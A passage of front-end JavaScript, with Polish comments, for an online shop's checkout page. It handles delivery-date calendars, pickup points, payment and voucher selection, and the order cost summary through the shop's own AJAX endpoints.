|
|
|
// Usunięcie daty
|
|
if(dates.length === 0){
|
|
customDateContainer.classList.remove("active");
|
|
el.querySelector(".delivery_date__calendar_option").classList.add("active");
|
|
return;
|
|
}
|
|
|
|
//Zmiana aktywnej daty
|
|
el.querySelector(".delivery_date__calendar_option.active").classList.remove("active");
|
|
customDateContainer.classList.add("active");
|
|
|
|
const chosenDate = new Date(dates[0]);
|
|
|
|
if(el.querySelector(`.delivery_date__calendar_option[data-date='${chosenDate.toLocaleDateString('en-CA')}']`)){
|
|
// Wybranie istniejącej daty
|
|
el.querySelector(`.delivery_date__calendar_option[data-date='${chosenDate.toLocaleDateString('en-CA')}']`).click();
|
|
}else{
|
|
// Wybranie nieistniejącej daty
|
|
|
|
// uzupełnienie danych o dacie dostawy
|
|
customDateContainer.querySelector(".delivery_date__calendar_date").innerHTML = `${chosenDate.getDate()}`;
|
|
customDateContainer.querySelector(".delivery_date__calendar_month").innerHTML = `${app_shop.txt[`month_name${chosenDate.getMonth()+1}`]}`;
|
|
customDateContainer.querySelector(".delivery_date__calendar_day").innerHTML = `${app_shop.txt[`week_day${chosenDate.getDay()}`]}`;
|
|
|
|
|
|
//ustawienie daty
|
|
customDateContainer.dataset.date = chosenDate.toLocaleDateString('en-CA');
|
|
}
|
|
},
|
|
}
|
|
});
|
|
vanillaCal.init();
|
|
})
|
|
};
|
|
|
|
|
|
// Error po pobraniu metod płatności i dostaw
|
|
function paymentsAndDeliveryError(errors){
|
|
const notEnoughProduct = errors.find(el => el.message.split(" ")[0] === "order_notenough");
|
|
if(notEnoughProduct){
|
|
Alertek.Error(`${<iai:variable vid="Produkt, który kupujesz nie jest już dostępny"/>}`);
|
|
return setTimeout(()=>{
|
|
window.location = "basketedit.php"
|
|
}, 3000)
|
|
}
|
|
|
|
const wholeSalerError = errors.find((error) => error?.code === 109);
|
|
if(wholeSalerError){
|
|
Alertek.Error(`${<iai:variable vid="Nie osiągnięto minimalnej wartości zamówienia hurtowego"/>}.`);
|
|
return setTimeout(()=>{
|
|
window.location = "basketedit.php"
|
|
}, 3000)
|
|
}
|
|
|
|
Alertek.Error(<iai:variable vid="Wystąpił błąd połączenia. Sprawdź łącze internetowe lub spróbuj ponownie później"/>);
|
|
}
|
|
|
|
// Stworzenie kontenera na "przelewy online" lub "karta platnicza"
|
|
function createPaymentContainerMarkup(method){
|
|
const operationName = method === "transfer" ? <iai:variable vid="Przelew online"/> : <iai:variable vid="Karta płatnicza"/>;
|
|
const methodName = method === "transfer" ? "banków" : "kart płatniczych";
|
|
return `<div class="osc_item" for="payitem_${method}">
|
|
<input id="payitem_${method}" value="no_${method}" type="radio" name="payform_id" data-group="${method}"/>
|
|
<div class="photo">
|
|
<img src="${`/gfx/standards/payment_group_${method}.svg`}" alt="${operationName}">
|
|
</div>
|
|
<div class="name">
|
|
<span>${operationName}</span>
|
|
</div>
|
|
<div class="osc_item-modal ${method}__methods">
|
|
<h2>Lista ${methodName}</h2>
|
|
<span>Wybierz z ${methodName}</span>
|
|
<div class="payments-container">`;
|
|
}
|
|
|
|
|
|
app_shop.txt.week_day0 = <iai:variable vid="Dzisiaj"/>;
|
|
app_shop.txt.week_day1 = <iai:variable vid="Poniedziałek"/>;
|
|
app_shop.txt.week_day2 = <iai:variable vid="Wtorek"/>;
|
|
app_shop.txt.week_day3 = <iai:variable vid="Środa"/>;
|
|
app_shop.txt.week_day4 = <iai:variable vid="Czwartek"/>;
|
|
app_shop.txt.week_day5 = <iai:variable vid="Piątek"/>;
|
|
app_shop.txt.week_day6 = <iai:variable vid="Sobota"/>;
|
|
app_shop.txt.week_day7 = <iai:variable vid="Niedziela"/>;
|
|
app_shop.txt.week_day8 = <iai:variable vid="jutro"/>;
|
|
|
|
app_shop.txt.month_name1 = <iai:variable vid="Stycznia"/>;
|
|
app_shop.txt.month_name2 = <iai:variable vid="Lutego"/>;
|
|
app_shop.txt.month_name3 = <iai:variable vid="Marca"/>;
|
|
app_shop.txt.month_name4 = <iai:variable vid="Kwietnia"/>;
|
|
app_shop.txt.month_name5 = <iai:variable vid="Maja"/>;
|
|
app_shop.txt.month_name6 = <iai:variable vid="Czerwca"/>;
|
|
app_shop.txt.month_name7 = <iai:variable vid="Lipca"/>;
|
|
app_shop.txt.month_name8 = <iai:variable vid="Sierpnia"/>;
|
|
app_shop.txt.month_name9 = <iai:variable vid="Września"/>;
|
|
app_shop.txt.month_name10 = <iai:variable vid="Października"/>;
|
|
app_shop.txt.month_name11 = <iai:variable vid="Listopada"/>;
|
|
app_shop.txt.month_name12 = <iai:variable vid="Grudnia"/>;
|
|
// Przygotowanie html dla metod dostaw
|
|
function prepareDeliveryMarkup(method, deliveryId){
|
|
// Zapisanie do listy dostaw z mapą
|
|
if ((method.courier.pickupPoint === true || method.courier.id === 0) && !deliveryPickupPoints.includes(method.courier.fullId)) deliveryPickupPoints.push(method.courier.fullId);
|
|
const cost = Number(method.cost.value) === 0 ? <iai:variable vid="Gratis!"/> : method.cost.formatted;
|
|
const disabled = method.minworthReached === false ? 'disabled="disabled"' : "";
|
|
const avaliableFrom = disabled ? '<span class="minworthtest_formatted">' + `${<iai:variable vid="Forma dostawy dostępna od"/>}: ` + method.minworth.formatted + "</span>" : "";
|
|
const ifChecked = deliveryId === `item_${method.courier.fullId}`;
|
|
|
|
// Obliczenie daty dostawy
|
|
let date = new Date();
|
|
date.setDate(date.getDate() + method.deliveryTime.time.days);
|
|
const deliveryDate = date.toLocaleDateString("pl-PL");
|
|
let defaultDate = date.toLocaleDateString('en-CA');
|
|
|
|
|
|
// Opcje wyboru daty i godzuny dostawy
|
|
let shippingCalendarAndHours = "";
|
|
if(method.calendar && method.calendarOption.includes("days") && method.workingDays.length > 0 && method.courier.id !== 0){
|
|
// Zmienne odpowiadające za ograniczenie ilości dat wysyłki
|
|
const dateSelectionArr = [];
|
|
let dateSelectionDistance = 0;
|
|
|
|
//Wstawienie 7 najwcześniejszych dat
|
|
while(dateSelectionArr.length < 7){
|
|
const newDeliveryDate = new Date(date)
|
|
newDeliveryDate.setDate(newDeliveryDate.getDate() + dateSelectionDistance);
|
|
if(method.workingDays.includes(newDeliveryDate.getDay())){
|
|
// Ustawienie pierwszej daty jako aktywną
|
|
if(dateSelectionArr.length === 0) defaultDate = newDeliveryDate.toLocaleDateString('en-CA');
|
|
|
|
// Przygotowanie kodu HTML
|
|
dateSelectionArr.push(`<li class="delivery_date__calendar_option ${dateSelectionArr.length === 0 ? "active" : ""}" data-date="${newDeliveryDate.toLocaleDateString('en-CA')}">
|
|
<strong class="delivery_date__calendar_date">${newDeliveryDate.getDate()}</strong>
|
|
<strong class="delivery_date__calendar_month">${app_shop.txt[`month_name${newDeliveryDate.getMonth()+1}`]}</strong>
|
|
<span class="delivery_date__calendar_day">(${app_shop.txt[`week_day${newDeliveryDate.getDay()}`]})</span>
|
|
</li>`);
|
|
}
|
|
dateSelectionDistance++;
|
|
}
|
|
const optionMarkup = dateSelectionArr.join("");
|
|
|
|
// Przygotowanie HTML kalendarza i wyboru czasu dostawy
|
|
shippingCalendarAndHours += `<div class="delivery_date__options">
|
|
<ul class="delivery_date__calendar">
|
|
${optionMarkup}
|
|
<li class="delivery_date__calendar_option --custom">
|
|
<strong class="delivery_date__calendar_date"></strong>
|
|
<strong class="delivery_date__calendar_month"></strong>
|
|
<span class="delivery_date__calendar_day"></span>
|
|
</li>
|
|
<li class="delivery_date__calendar_option --another">
|
|
<span class="delivery_date__calendar_date">${<iai:variable vid="Inny dzień"/>}</span>
|
|
<div class="delivery_date__calendar_container"></div>
|
|
</li>
|
|
</ul>
|
|
${
|
|
method.calendarOption === "days_and_hours" ? `
|
|
<div class="delivery_date__hours">
|
|
<span class="delivery_date__hours_text">${<iai:variable vid="Wybierz czas dostawy"/>}:</span>
|
|
<select class="delivery_date__hours_options f-select" name="hour">
|
|
<option value="6:00 - 8:00">6:00 - 8:00</option>
|
|
<option value="8:00 - 10:00">8:00 - 10:00</option>
|
|
<option value="10:00 - 12:00">10:00 - 12:00</option>
|
|
<option value="12:00 - 14:00" selected="selected">12:00 - 14:00</option>
|
|
<option value="14:00 - 16:00">14:00 - 16:00</option>
|
|
<option value="16:00 - 18:00">16:00 - 18:00</option>
|
|
<option value="18:00 - 20:00">18:00 - 20:00</option>
|
|
<option value="20:00 - 22:00">20:00 - 22:00</option>
|
|
</select>
|
|
</div>
|
|
` : ""
|
|
}
|
|
</div>
|
|
`
|
|
}
|
|
|
|
// Uzupełnienie markupa dla metod dostaw dvp
|
|
return `<div class="osc_item ${method.calendar && method.calendarOption.includes("days") && method.workingDays.length > 0 && method.courier.id !== 0 ? "--calendar" : ""}" for="item_${method.courier.fullId}" data-working-days="${method.workingDays ? method.workingDays.toString() : "1,2,3,4,5,6,7"}" data-delivery-date="${defaultDate}">
|
|
<input id="item_${method.courier.fullId}" value="${method.courier.fullId}" type="radio" name="shipping" data-pickuppoint="${method.courier.pickupPoint || method.courier.id === 0 ? true : false}" data-delivery="${method.deliveryTime.time.days}#${method.deliveryTime.time.hours ? method.deliveryTime.time.hours : 0}#${method.deliveryTime.time.minutes ? method.deliveryTime.time.minutes : 0}#${method.deliveryTime.weekDay}#${method.deliveryTime.weekAmount}#${method.deliveryTime.time.days}" ${ifChecked ? "checked" : ""}>
|
|
<div class="photo">
|
|
<img src="${method.courier.id === 93 ? "/gfx/standards/online_delivery.png" : method.courier.icon}" alt="${method.courier.name}">
|
|
</div>
|
|
<div class="delivery_info">
|
|
<div class="name">
|
|
<span>${method.courier.name}</span>
|
|
${avaliableFrom}
|
|
</div>
|
|
<div class="price ${cost === <iai:variable vid="Gratis!"/> ? `cost_free` :""}">${cost}</div>
|
|
</div>
|
|
<div class="delivery_date">
|
|
${<iai:variable vid="Przewidywana dostawa"/>}:
|
|
<strong>${app_shop.txt[`week_day${parseInt(method.deliveryTime.weekDay)}`]} ${deliveryDate}</strong>
|
|
</div>
|
|
${method.courier.pickupPoint === true ? `<div class="fselectedPoint" style="padding:0;display:none;" for="item_${method.courier.fullId}"></div>` : ""}
|
|
${shippingCalendarAndHours}
|
|
</div>`;
|
|
}
|
|
|
|
|
|
// Sprawdź czy poprzedni punkt odbioru dalej istnieje
|
|
const SEARCH_PICKUP_POINTS_QUERY = (searchPickupPointsInput) => JSON.stringify({
|
|
query: `query {
|
|
searchPickupPoints(${searchPickupPointsInput}) {
|
|
data
|
|
gps {
|
|
latitude
|
|
longitude
|
|
}
|
|
}
|
|
}`,
|
|
})
|
|
async function checkPrevPickupPoint(selectedPoint, deliveryPointId, name, street, city, zipcode, courierId){
|
|
if(!name || !city || !zipcode) return false;
|
|
// Pobranie punktów z tym samym id co poprzedni
|
|
app_shop.fn.ajaxLoadSite(1)
|
|
const resultData = await fetchData({
|
|
data: SEARCH_PICKUP_POINTS_QUERY(`
|
|
SearchPickupPointsInput: {
|
|
shippingId: ${courierId},
|
|
query: "${deliveryPointId}",
|
|
cashOnDelivery: false,
|
|
}
|
|
`),
|
|
linkParameter: "?query=searchPickupPoints",
|
|
});
|
|
app_shop.fn.ajaxLoadSite(0);
|
|
if(resultData?.error?.message) return false;
|
|
|
|
// Sprawdzenie czy poprzedni punkt dalej istnieje
|
|
let pointExists = false;
|
|
resultData.data.searchPickupPoints.forEach(point => {
|
|
if(point.data.includes(deliveryPointId)) pointExists = true;
|
|
})
|
|
// Utworzenie nowego punktu odbioru
|
|
if(pointExists) createPickuppointInfo(selectedPoint, deliveryPointId, name, street, city, zipcode, courierId);
|
|
return pointExists;
|
|
}
|
|
|
|
// Obsługa kliknięć na dostawy i metody płatności
|
|
let prevPayment;
|
|
let prevShipping;
|
|
function checkPrevShipping(){
|
|
if(prevShipping){
|
|
prevShipping.checked=true;
|
|
changeCurrentShippingInfo(prevShipping);
|
|
}
|
|
}
|
|
// Przeliczenie kosztu i czasu dostawy i zapisanie nowej metody dostawy
|
|
function changeCurrentShippingInfo(shippingMethod){
|
|
calculateBasketCost();
|
|
calculateDeliveryDate(shippingMethod.value, shippingMethod.dataset.delivery, shippingMethod.dataset.pickuppoint);
|
|
app_shop.vars.checkedShipping = shippingMethod.value;
|
|
}
|
|
document.getElementById("bm-oscop-section2").addEventListener("click", e => {
|
|
|
|
// zabezpieczenie przed kliknięciem w kalendarz + wywołanie kliknięcia na input
|
|
if(e.target.closest(".osc_item") && !e.target.closest(".delivery_date__options") && e.target.type !== "radio") return e.target.closest(".osc_item").querySelector(":scope > input").click();
|
|
|
|
|
|
// Kliknięcie na datę
|
|
if(e.target.closest(".delivery_date__calendar_option")) return handleChangeDeliveryDate(e.target.closest(".delivery_date__calendar_option"));
|
|
|
|
|
|
// Kliknięcie na dostawe
|
|
if(e.target.name === "shipping"){
|
|
// Wyczyszczenie wszystkich zaznaczonych punktów odbioru
|
|
clearSelectedPoints();
|
|
|
|
// Nie robienie niczego jeśli kliknąłeś na ten sam element
|
|
if(app_shop.vars.checkedShipping === e.target.value) return;
|
|
if(e.target.dataset.working_days) e.target.dataset.working_days.split("#").map(function (e) {return parseInt(e, 10);});
|
|
|
|
// Zapisanie jako poprzednia metoda płatności jeśli nie wymaga wyboru punktu odbioru
|
|
if(e.target.dataset.pickuppoint === "false"){
|
|
prevShipping=e.target;
|
|
|
|
// Przeliczenie kosztu dostawy i czasu dostawy
|
|
changeCurrentShippingInfo(e.target);
|
|
}
|
|
return;
|
|
}
|
|
|
|
// Kliknięcie na płatność
|
|
if(e.target.name === "payform_id"){
|
|
// Usunięcie klona poprzedniego przelewu online/ karty płatniczej
|
|
removePrevClone();
|
|
|
|
// Wyskakujące okienko od vouchera
|
|
if(e.target.value === "2" && (e.target.parentElement.querySelector(".voucher-value") && e.target.parentElement.querySelector(".voucher-value").style.display === "none")) {
|
|
app_shop.fn.voucherModal = new Modal({
|
|
element: $(".order__voucher_container"),
|
|
classList: "--fade-in-modal",
|
|
afterShow: () => {
|
|
disablePageScroll();
|
|
document.getElementById("order_voucher_id").addEventListener("keydown", handleClickVoucherEnter);
|
|
document.querySelector(".order__voucher_button").addEventListener("click", handleClickVoucherSubmit);
|
|
},
|
|
beforeClose: () => {
|
|
enablePageScroll();
|
|
document.getElementById("order_voucher_id").removeEventListener("keydown", handleClickVoucherEnter);
|
|
document.querySelector(".order__voucher_button").removeEventListener("click", handleClickVoucherSubmit);
|
|
|
|
// Odznacz/Zaznacz poprzedzni jeśli użytkownik nie podał poprawnego kodu
|
|
if(e.target.parentElement.querySelector(".voucher-value").style.display === "none"){
|
|
if(prevPayment) prevPayment.checked = true;
|
|
else e.target.checked = false;
|
|
}
|
|
},
|
|
});
|
|
return;
|
|
}
|
|
|
|
// Przelewy online i karty płatnosci
|
|
if(e.target.dataset.group === "transfer" || e.target.dataset.group === "card"){
|
|
if(!e.target.closest(".osc_item-modal")) showPaymentMethodModal(e.target.dataset.group);
|
|
return;
|
|
}
|
|
|
|
// Inne metody płatności
|
|
if(document.getElementById("payitem_2") && e.target.value !== "2" && e.target.dataset.group !== "transfer" && e.target.dataset.group !== "card"){
|
|
const voucherOptionContainer = document.getElementById("payitem_2").parentElement;
|
|
voucherOptionContainer.querySelector(".voucher-value").style.display = "none";
|
|
voucherOptionContainer.querySelector(".voucher-value").innerHTML = ``;
|
|
}
|
|
|
|
// Zmien metody dostawy pomiedzy prepaid a dvp
|
|
if(e.target.id === "payitem_cash" && document.getElementById("osc_order1_dvp").style.display === "none" || e.target.id !== "payitem_cash" && document.getElementById("osc_order1_dvp").style.display === "block") changeDeliveryOptions();
|
|
prevPayment = e.target;
|
|
}
|
|
});
|
|
|
|
// Zmiana aktywnej daty w kalendarzu
|
|
function handleChangeDeliveryDate(el){
|
|
if(el.classList.contains("--another")){
|
|
return el.classList.add("--open");
|
|
}
|
|
|
|
const optionsContainer = el.closest(".delivery_date__options");
|
|
optionsContainer.querySelector(".delivery_date__calendar_option.active").classList.remove("active");
|
|
|
|
el.classList.add("active");
|
|
|
|
// Zmiana daty w podsumowaniu
|
|
const summaryDateEl = document.querySelector("#order2_shiptime .operation_value");
|
|
const attatchedDateEl = document.querySelector("#attatched-shiptime .operation_value");
|
|
|
|
|
|
const deliveryDate = new Date(el.dataset.date);
|
|
const currDate = new Date();
|
|
|
|
const timeDifference = deliveryDate - currDate;
|
|
const dayDifference = Math.ceil(timeDifference / (1000 * 60 * 60 * 24));
|
|
|
|
if(dayDifference < 7){
|
|
summaryDateEl.innerHTML = app_shop.txt[`week_day${parseInt(deliveryDate.getDay() === 0 ? 7 : deliveryDate.getDay())}`];
|
|
attatchedDateEl.innerHTML = app_shop.txt[`week_day${parseInt(deliveryDate.getDay() === 0 ? 7 : deliveryDate.getDay())}`];
|
|
}else{
|
|
summaryDateEl.innerHTML = `${<iai:variable vid="za"/>} ` + dayDifference + ` ${<iai:variable vid="dni"/>} `;
|
|
attatchedDateEl.innerHTML = `${<iai:variable vid="za"/>} ` + dayDifference + ` ${<iai:variable vid="dni"/>} `;
|
|
}
|
|
}
|
|
// Schowanie sklonowanej metody płatności
|
|
function removePrevClone(){
|
|
const prevClone = document.querySelector(".osc_item-clone");
|
|
if(!prevClone) return;
|
|
const cloneGroupName = prevClone.querySelector("input").dataset.group;
|
|
document.getElementById(`payitem_${cloneGroupName}`).closest(".osc_item").style.display="grid";
|
|
prevClone.remove();
|
|
}
|
|
|
|
// Utworzenie modala po kliknieciu na "przelewy online" lub "karta platnicza"
|
|
let ifChosenNewPaymentMethod = false;
|
|
function showPaymentMethodModal(method){
|
|
app_shop.fn.paymentModal = new Modal({
|
|
element: $(`.${method}__methods`),
|
|
classList: "--fade-in-modal",
|
|
afterShow: () => {
|
|
disablePageScroll();
|
|
document.querySelectorAll(`.${method}__methods .osc_item`).forEach(el => {
|
|
el.addEventListener("click", handlePaymentMethodClick);
|
|
})
|
|
},
|
|
beforeClose: () => {
|
|
enablePageScroll();
|
|
if(!ifChosenNewPaymentMethod) prevPayment ? prevPayment.checked = true : document.getElementById(`payitem_${method}`).checked = false;
|
|
document.querySelectorAll(`.${method}__methods .osc_item`).forEach(el => {
|
|
el.removeEventListener("click", handlePaymentMethodClick);
|
|
})
|
|
ifChosenNewPaymentMethod=false;
|
|
},
|
|
})
|
|
}
|
|
|
|
// Metoda oblugujaca kliknieca w metody platnosci w popupie
|
|
function handlePaymentMethodClick(e){
|
|
// znajdz input
|
|
const inputEl = e.target.closest(".osc_item").querySelector("input");
|
|
|
|
// Usuń poprzedni klon i stwórz nowy
|
|
removePrevClone();
|
|
cloneElement(inputEl);
|
|
|
|
// Zamkniecie modala
|
|
ifChosenNewPaymentMethod = true;
|
|
app_shop.fn.paymentModal.closeModal();
|
|
if(document.querySelector("#osc_order1_prepaid").style.display === "none") changeDeliveryOptions();
|
|
return false;
|
|
}
|
|
|
|
function cloneElement(originalPaymentElement){
|
|
// Sklonowanie kliknietego elementu
|
|
const clonedMethod = originalPaymentElement.closest(".osc_item").cloneNode(true);
|
|
const clonedInput = clonedMethod.querySelector("input");
|
|
|
|
// Zmiana id i klasy sklonowanego elementu dla rozróżnienia
|
|
clonedInput.id = clonedInput.id+"-clone";
|
|
clonedMethod.setAttribute("for", clonedInput.id);
|
|
clonedMethod.classList.add("osc_item-clone");
|
|
|
|
// Wstawienie klona po "przelewy online" lub "karta platnicza"
|
|
const standInEl = document.getElementById(`payitem_${clonedInput.dataset.group}`).closest(".osc_item");
|
|
standInEl.after(clonedMethod);
|
|
standInEl.style.display = "none";
|
|
clonedInput.checked = true;
|
|
}
|
|
|
|
// Zmiana opcji dostawy zależnie od płatności
|
|
function changeDeliveryOptions(){
|
|
if(document.getElementById("payitem_cash") && document.getElementById("payitem_cash").checked) changePrepaidDvp("none", "block");
|
|
else changePrepaidDvp("block", "none");
|
|
|
|
document.querySelectorAll("#bm-oscop-deliveries input").forEach((el) => el.checked = false);
|
|
app_shop.vars.checkedShipping = "";
|
|
calculateBasketCost();
|
|
}
|
|
|
|
// Zmień pokazane metody dostawy
|
|
function changePrepaidDvp(prepaidStyle, dvpStyle){
|
|
const prepaid = document.getElementById("osc_order1_prepaid");
|
|
const dvp = document.getElementById("osc_order1_dvp");
|
|
prepaid.style.display = prepaidStyle;
|
|
dvp.style.display = dvpStyle;
|
|
clearSelectedPoints();
|
|
}
|
|
|
|
// Wyczyszczenie informacji o punktach odbioru
|
|
function clearSelectedPoints(){
|
|
const fSelectedPoints = document.querySelectorAll("#osc_order1 .fselectedPoint");
|
|
fSelectedPoints.forEach(el => {
|
|
el.innerHTML="";
|
|
el.style.display="none";
|
|
});
|
|
}
|
|
// Zatwierdź bon towarowy enterem
|
|
function handleClickVoucherEnter(e){
|
|
if(e.key === "Enter") handleClickVoucherSubmit();
|
|
}
|
|
|
|
// Zatwierdź bon towarowy
|
|
function handleClickVoucherSubmit(){
|
|
const voucherNumber = document.getElementById("order_voucher_id");
|
|
const voucherRadioButton = document.getElementById("payitem_2");
|
|
const voucherOptionContainer = voucherRadioButton.parentElement;
|
|
$.ajax({
|
|
url: "/ajax/gift-cards-and-vouchers.php",
|
|
type: "POST",
|
|
timeout: 16000,
|
|
data: `action=auth&number=${voucherNumber.value}`,
|
|
complete: function (e, a) {
|
|
throwAjaxError(a);
|
|
},
|
|
success: function (e) {
|
|
// Jeśli nieprawidłowy kod wyświetl błąd
|
|
if(e.errno !== "0"){
|
|
addErrorMessage(voucherNumber, <iai:variable vid="Wprowadzony kod jest niepoprawny"/>);
|
|
return;
|
|
}
|
|
|
|
// Zmien z dvp na prepaid jesli wcześniej była zapłata za pobraniem
|
|
if(prevPayment && voucherRadioButton.id !== prevPayment.id && prevPayment.id === "payitem_cash") changeDeliveryOptions();
|
|
prevPayment = e.target;
|
|
|
|
// Pokaż cenę
|
|
voucherOptionContainer.querySelector(".voucher-value").style.display = "block";
|
|
voucherOptionContainer.querySelector(".voucher-value").innerHTML = `${e.result.value} ${e.result.currency}`;
|
|
|
|
// Wyczyść walidacje
|
|
removeErrorMessage(voucherNumber);
|
|
clearValidation(voucherNumber);
|
|
|
|
// Zamknij modal
|
|
app_shop.fn.voucherModal.closeModal();
|
|
},
|
|
})
|
|
}
|
|
|
|
function changeProvinceVisibility(clientType){
|
|
document.querySelectorAll(`select[name='${clientType}_province']`).forEach(el=>{
|
|
const containerEl = el.closest(".form-group");
|
|
|
|
if(containerEl) containerEl.style.display = "none";
|
|
});
|
|
|
|
const currentRegion = document.getElementById(`${clientType}_region`)?.value;
|
|
const currentProvinceContainerEl = document.querySelector(`#${clientType}_region_${currentRegion}`);
|
|
|
|
if(currentProvinceContainerEl) currentProvinceContainerEl.style.display = "block";
|
|
}
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
// PODSUMOWANIE
|
|
|
|
// Przeliczenie i pokazanie ceny w podsumowaniu
|
|
let xhrs;
|
|
function calculateBasketCost() {
|
|
const deliveryCostEl = document.querySelector("#order2_shipping_value .operation_value");
|
|
const productsPointsEl = document.querySelector("#order2_products_points .operation_value");
|
|
const summaryPointsEl = document.getElementById("summary-points");
|
|
const attatchedSummaryPointsEl = document.getElementById("attatched-points");
|
|
// Przygotowanie informacji o metodzie dostawy i platnosci
|
|
const orderInfo = {
|
|
delivery: document.querySelector('.bm-oscop__container input[name="shipping"]:checked') ? document.querySelector('.bm-oscop__container input[name="shipping"]:checked').value : "0-1",
|
|
payform_id: document.querySelector('.bm-oscop__container input[name="payform_id"]:checked') ? document.querySelector('.bm-oscop__container input[name="payform_id"]:checked').value : "cash"
|
|
}
|
|
xhrs && 4 != xhrs.readyState && 0 != xhrs.readyState && xhrs.abort(),
|
|
xhrs = $.ajax({
|
|
url: "/ajax/basket-cost.php",
|
|
dataType: "json",
|
|
data: orderInfo,
|
|
success: function (t) {
|
|
document.querySelector("#order2_products_worth .operation_value").innerHTML = formatPrice(t.products_worth, t.currency_sign) + "<small>" + <iai:variable vid="brutto"/> + "</small>";
|
|
|
|
// Sprawdź cene dostawy
|
|
if(t.shipping_undefined) deliveryCostEl.parentElement.style.display = "none";
|
|
else {
|
|
deliveryCostEl.parentElement.style.display = "flex";
|
|
deliveryCostEl.classList.remove("cost_free");
|
|
if(t.shipping_cost_points) deliveryCostEl.innerHTMl = `${t.shipping_cost_points}${<iai:variable vid="pkt"/>}`;
|
|
else if(t.shipping_cost_after_rebate > 0) deliveryCostEl.innerHTML = formatPrice(t.shipping_cost_after_rebate, t.currency_sign) + "<small>" + <iai:variable vid="brutto"/> + "</small>"
|
|
else if(t.shipping_cost > 0){
|
|
deliveryCostEl.innerHTML = "<del>" + formatPrice(t.shipping_cost, t.currency_sign) + "</del> " + `${<iai:variable vid="Gratis!"/>} `;
|
|
deliveryCostEl.classList.add("cost_free");
|
|
}else{
|
|
deliveryCostEl.innerHTML = `${<iai:variable vid="Gratis!"/>} `;
|
|
deliveryCostEl.classList.add("cost_free");
|
|
}
|
|
}
|
|
checkShowPrice(document.querySelector("#order2_paymentcost_value .operation_value"), Number(t.prepaid_cost), t.currency_sign);
|
|
checkShowPrice(document.querySelector("#order2_insurance_value .operation_value"), Number(t.insurance_cost), t.currency_sign);
|
|
checkShowPrice(document.querySelector("#order2_total_rebate .operation_value"), Number(t.total_rebate_without_shipping), t.currency_sign);
|
|
checkShowPrice(document.querySelector("#order2_saldo_value .operation_value"), Number(t.payment_amount_from_client_balance), t.currency_sign);
|
|
|
|
// Punkty zamówienia
|
|
if(t.products_worth_at_points){
|
|
productsPointsEl.innerHTML = `${t.products_worth_at_points} ${<iai:variable vid="pkt"/>}.`;
|
|
productsPointsEl.parentElement.style.display = "flex";
|
|
summaryPointsEl.innerHTML = `+ ${t.products_worth_at_points} ${<iai:variable vid="pkt"/>}.`;
|
|
summaryPointsEl.style.display = "block";
|
|
attatchedSummaryPointsEl.innerHTML = `+ ${t.products_worth_at_points} ${<iai:variable vid="pkt"/>}.`;
|
|
attatchedSummaryPointsEl.style.display = "block";
|
|
}else {
|
|
productsPointsEl.parentElement.style.display = "none";
|
|
summaryPointsEl.style.display = "none";
|
|
attatchedSummaryPointsEl.style.display = "none";
|
|
}
|
|
|
|
// Cena całkowita
|
|
document.getElementById("summary-cost").innerHTML = formatPrice(t.total_to_pay, t.currency_sign) + "<small>" + <iai:variable vid="brutto"/> + "</small>";
|
|
document.getElementById("attatched-cost").innerHTML = formatPrice(t.total_to_pay, t.currency_sign);
|
|
},
|
|
});
|
|
};
|
|
|
|
// Funkcja od pokazania wybranej ceny (np rabat, ubezpieczenie...)
|
|
function checkShowPrice(priceContainer, price, currencySign){
|
|
priceContainer.innerHTML = formatPrice(price, currencySign);
|
|
if(price && price > 0) priceContainer.parentElement.style.display = "flex";
|
|
else priceContainer.parentElement.style.display = "none";
|
|
};
|
|
|
|
// Funkcja od formatowania ceny
|
|
function formatPrice(price, currencySign) {
|
|
return format_price(price, { mask: app_shop.vars.currency_format, currency: currencySign, currency_space: app_shop.vars.currency_space, currency_before_price: app_shop.vars.currency_before_value });
|
|
};
|
|
|
|
// Funkcja od ustalenia daty dostawy
|
|
function calculateDeliveryDate(deliveryVal, delivery, pickuppoint) {
|
|
const deliveryMessageEl = document.querySelector("#order2_shiptime span:not(.operation_value)");
|
|
const attatchedMessageEl = document.querySelector("#attatched-shiptime span:not(.operation_value)");
|
|
const deliveryDateEl = document.querySelector("#order2_shiptime .operation_value");
|
|
const attatchedDateEl = document.querySelector("#attatched-shiptime .operation_value");
|
|
const date = delivery.split("#");
|
|
|
|
// Wybranie nazwy zaleznie czy dostawa jest do twojego mieszkania czy nie
|
|
if(deliveryVal === "0-0" || deliveryVal === "0-1" || pickuppoint === "true"){
|
|
deliveryMessageEl.innerHTML = `${<iai:variable vid="Odbiór zamówienia możliwy"/>}:`;
|
|
attatchedMessageEl.innerHTML = `${<iai:variable vid="Odbiór zamówienia możliwy"/>}:`;
|
|
}
|
|
else{
|
|
deliveryMessageEl.innerHTML = `${<iai:variable vid="Przesyłka powinna być u Ciebie"/>}:`;
|
|
attatchedMessageEl.innerHTML = `${<iai:variable vid="Przesyłka powinna być u Ciebie"/>}:`;
|
|
}
|
|
|
|
if(date[4]>0) {
|
|
deliveryDateEl.innerHTML = `${<iai:variable vid="za"/>} ` + parseInt(date[5]) + ` ${<iai:variable vid="dni"/>} `;
|
|
attatchedDateEl.innerHTML = `${<iai:variable vid="za"/>} ` + parseInt(date[5]) + ` ${<iai:variable vid="dni"/>} `;
|
|
}
|
|
else{
|
|
if(parseInt(date[5]) === 0){
|
|
deliveryDateEl.innerHTML = <iai:variable vid="Dzisiaj"/>;
|
|
attatchedDateEl.innerHTML = <iai:variable vid="Dzisiaj"/>;
|
|
}
|
|
else{
|
|
deliveryDateEl.innerHTML = app_shop.txt[`week_day${parseInt(date[3])}`];
|
|
attatchedDateEl.innerHTML = app_shop.txt[`week_day${parseInt(date[3])}`];
|
|
}
|
|
}
|
|
};
|
|
// Zmiana informacji o dostawie
|
|
function changeDeliveryInfoObject(deliveryObject, deliveryElement){
|
|
deliveryObject.deliveryVal = deliveryElement.value;
|
|
deliveryObject.delivery = deliveryElement.dataset.delivery;
|
|
deliveryObject.pickuppoint = deliveryElement.dataset.pickuppoint;
|
|
}
|
|
|
|
// Obsługa klilnięć na elementy w podsumowaniu
|
|
document.getElementById("bm-oscop-section3").addEventListener("click", (e) => {
|
|
const productsContainer = document.querySelector(".summary__container");
|
|
|
|
// Kliknięcie na przyciski "Pokaż pozozostałe produkty" i "Zwiń listę"
|
|
const togggleProducts = e.target.closest(".order_products_action");
|
|
if(togggleProducts){
|
|
if(productsContainer.className.includes("--more")){
|
|
productsContainer.classList.remove("--more");
|
|
togggleProducts.querySelector("span").innerHTML = `${<iai:variable vid="Pokaż pozostałe produkty"/>}`;
|
|
}else{
|
|
productsContainer.classList.add("--more");
